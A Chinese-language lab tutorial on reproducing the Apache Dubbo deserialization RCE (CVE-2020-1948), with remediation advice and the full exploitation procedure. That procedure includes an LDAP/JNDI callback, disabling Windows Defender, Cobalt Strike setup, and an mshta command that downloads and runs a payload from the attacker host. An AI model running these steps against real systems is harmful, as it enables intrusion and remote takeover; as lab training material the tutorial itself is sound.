预备知识
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。
RPC是远程过程调用的简称,广泛应用在大规模分布式应用中,作用是有助于系统的垂直拆分,使系统更易拓展。
Dubbo框架支持9种协议,Dubbo协议、Hessian协议、HTTP协议、RMI协议、WebService协议、Thrift协议、Memcached协议、Redis协议、Rest协议。其中,默认的,也是最常用的,那就是dubbo协议。既然是网络协议,那么,必然要有端口号。所以,在使用dubbo协议暴露服务时,需要配置dubbo端口。dubbo协议的默认端口是20880。
2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响范围:Dubbo 2.7.0 - 2.7.6、Dubbo 2.6.0 - 2.6.7、Dubbo 2.5.x (官方不再维护)
1、升级到2.7.7或更高版本,下载地址为:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7
2、更换默认的反序列化方式。
Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。
实验目的
通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。
实验环境
靶机:win10+jdk8u121 IP:10.1.1.140
攻击机:Kali+jdk8u121 IP:10.1.1.148
实验步骤一
前段时间,你们公司受到了入侵,经过排查发现是公司的一个服务框架存在漏洞,你作为公司的高级渗透测试工程师,需要将此漏洞复现,并给出修复方案。
任务描述:作为一名渗透测试工程师,对于漏洞复现是我们必须掌握的技能,但是复现漏洞除了使用真实环境之外还需要学会自己搭建环境。
切换到靶机,打开浏览器下载漏洞环境,
http://tools.hetianlab.com/tools/CVE-2020-1948.zip
解压之后有两个压缩包
这里我们需要用到的是dubbo.zip,解压之后打开cmd进入到dubbo.jar包所在文件夹,执行java -jar dubbo.jar用以启动漏洞环境,启动完成后会监听12345端口(注:该端口为该jar包监听的端口)。至此,我们复现漏洞所需环境搭建完成。
启动完成后使用telnet命令连接测试环境是否启动无误,
切换到攻击机kali,打开终端,执行
telnet 10.1.1.140 12345
实验步骤二
任务描述:对dubbo框架进行指纹识别及漏洞利用。
使用nmap进行指纹识别
nmap -sV -p 12345 10.1.1.140
下载漏洞利用所需工具
wget http://tools.hetianlab.com/tools/CVE-2020-1948.zip
然后解压
unzip CVE-2020-1948.zip -d cve-2020-1948
解压后可以看到有两个压缩文件,dubboRCE.zip是我们需要的文件,再次解压后可以看到如下文件:
其中calc.java是执行命令的(弹计算器),Dubbo.py是需要运行的脚本,marshalsec-0.0.3-SNAPSHOT-all.jar是用来启动一个ldap服务的工具,CS3.14-0504.zip是cobaltstrike的压缩包。calc.java内容如下,
执行javac calc.java进行编译,编译完成后会在当前目录得到一个calc.class类文件
然后使用python启动一个web服务,该服务用于被测目标下载漏洞利用代码用。
python -m SimpleHTTPServer 8080
利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务
注:命令中的ip及8080端口为我们启动web服务的IP和端口,比如我们在本机10.1.1.148启动一个监听端口为8080的web服务,则为10.1.1.148:8080,1234端口为启动ldap服务所监听的端口。
启动完成后执行脚本
python3 Dubbo.py 10.1.1.140 12345 ldap://10.1.1.148:1234/calc
注:前面的10.1.1.140为漏洞环境所在地址,12345为该漏洞环境监听的端口,后面的ldap://10.1.1.148:1234/为启动的ldap服务的主机地址及该服务监听的1234端口。
除了通过返回信息来判断外,观察 LDAP 代理是否出现请求转发也是判断POC利用是否成功的重要依据
切换到靶机,可以看到成功执行了弹计算器的命令。
实验步骤三
任务描述:模拟真实渗透,利用Cobalt Strike使其上线。
为了防止windows defender将我们拦截了,先将它关闭,进入到靶机,点击左下角的开始菜单,选择设置,然后选择更新和安全,将实时保护关闭。
使用unzip解压cobaltstrike
unzip CS3.14-0504.zip -d cs
进入到cs文件夹
给服务端文件赋予777权限然后启动
chmod 777 teamserver
nohup ./teamserver 10.1.1.148 password &
注:该命令为后台运行cs,ip为本地ip,password为密码,可以随意设置
然后启动客户端:
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
这里的host我们填写前面启动时的地址即可,port默认为50050,在启动服务端的时候通过回显也可以得知。如果更改了teamserver文件里的server_port值那么在此处就需要改成对应的。user可以随意设置,password为我们前面启动teamserver时的密码password
都设置好后,点击connect
这里是校验hash,第一次连接时会出现,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可。
启动后界面如下:
首先创建一个listener,左上角的cobaltstrike->listeners,会在下方出现一个窗口
点击add添加新的listener
Name可以随意,payload主要分为beacon和foreign两大类
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
Host为kali本机的ip
Port可以也可以随意
点击save会出现下图弹框,点击确定即可。
此时listener出现了新记录
接下来我们选择攻击的途径,如图选中html application,采用html应用的途径攻击
然后还要选择方法,分别是可执行文件,powershell,vb程序,这里选择powershell
选择后点击generate生成,我们可以选择生成路径及文件名,保存。
然后我们利用web服务,如下图,选择host file
在file一行选中前面生成的hta文件的路径
点击launch即可生成链接
这条链接就是用于执行本次攻击,使用mshta执行命令,mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。
然后编辑calc.java,将前面弹计算器的命令替换为如下:
mshta http://10.1.1.148:80/download/file.ext
然后删除掉原来的类文件,重新编译,重复实验步骤二,执行javac calc.java 得到calc.class类文件,使用python启动一个web服务
python -m SimpleHTTPServer 8080
重新打开一个终端,利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务,
注:如果ldap还使用1234端口可能会报错地址已经使用,所以换个端口
然后执行脚本
然后在cs可以看到肉鸡上线了。
选中这条记录,右键点击interact即可与靶机进行交互
部分截图如下: